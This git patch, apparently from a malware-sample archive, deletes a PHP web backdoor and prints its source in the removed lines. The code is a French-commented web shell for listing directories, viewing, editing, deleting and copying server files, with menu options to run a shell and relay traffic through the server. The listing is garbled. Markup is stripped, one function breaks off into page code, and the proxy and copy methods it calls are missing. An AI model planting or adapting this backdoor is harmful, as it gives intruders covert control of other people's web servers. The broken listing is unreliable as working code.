From 8f9c0c8890670e2d02d67a6de362d8c6188b98da Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Thu, 15 Oct 2020 20:31:27 -0500 Subject: [PATCH] Delete Backdoor.PHP.Agent.bg --- PHP/Backdoor.PHP.Agent.bg | 181 -------------------------------------- 1 file changed, 181 deletions(-) delete mode 100644 PHP/Backdoor.PHP.Agent.bg diff --git a/PHP/Backdoor.PHP.Agent.bg b/PHP/Backdoor.PHP.Agent.bg deleted file mode 100644 index a09ba4b4..00000000 --- a/PHP/Backdoor.PHP.Agent.bg +++ /dev/null @@ -1,181 +0,0 @@ - -/* - Backdoor php v0.1 - Coded By Charlichaplin - charlichaplin@gmail.com - Join me: irc.fr.worldnet.net #s-c - Greetz: My dog :) -*/ - -class backdoor { - var $pwd; - var $rep; - var $list = array(); - var $file; - var $edit; - var $fichier; - var $del; - var $shell; - var $proxy; - - function dir() { - if(!empty($this->rep)) { - $dir = opendir($this->rep); - } else { - $dir = opendir($this->pwd); - } - while($f = readdir($dir)) { - if ($f !="." && $f != "..") { - $this->list[] = $f; - } - } - } - - function view() { - - $this->file = htmlentities(highlight_file($this->file)); - } - - function edit() { - if(!is_writable($this->edit)) { - echo "Ecriture impossible sur le fichier"; - } elseif(!file_exists($this->edit)) { - echo "Le fichier n'existe pas "; - } elseif(!$this->fichier) { - $fp = fopen($this->edit,"r"); - $a = ""; - while(!feof($fp)) { - $a .= fgets($fp,1024); - } - echo"
"; - } else { - $fp = fopen($this->edit,"w+"); - fwrite($fp, $this->fichier); - fclose($fp); - echo "Le fichier a été modifié"; - - } - } - - function del() { - if(is_file($this->del)) { - if(unlink($this->del)) { - echo "Fichier supprimé"; - } else { - echo "Vous n'avez pas les droits pour supprimer ce fichier"; - } - } else { - echo $this->del." n'est pas un fichier"; - } - } - - function shell() { - echo "Index of ".$backdoor->pwd.""; -$backdoor->dir(); - -echo " |
"; -echo "Executer un shell "; -echo "Utiliser le serveur comme proxy "; -echo "Copier un fichier
"; -echo "Name Last modified Size Description"; -echo "
"; - -if($file) { - $backdoor->view(); -} elseif($edit) { - $backdoor->edit(); -} elseif($del) { - $backdoor->del(); -} elseif($shell) { - $backdoor->shell(); -}elseif($proxy) { - $backdoor->proxy($host,$page); -}elseif($copy == 1) { - $backdoor->ccopy($cfichier,$cdestination); -} else { - echo "[DIR] Parent Directory ".date("r",realpath($rep."../"))." -
"; - foreach ($backdoor->list as $key => $value) { - if(is_dir($rep.$value)) { - echo "[DIR]".$value."/ ".date("r",filemtime($rep.$value))." -
"; - } else { - echo "[FILE]".$value." (edit) (del) ".date("r",filemtime($rep.$value))." 1k
"; - } - } -} -echo "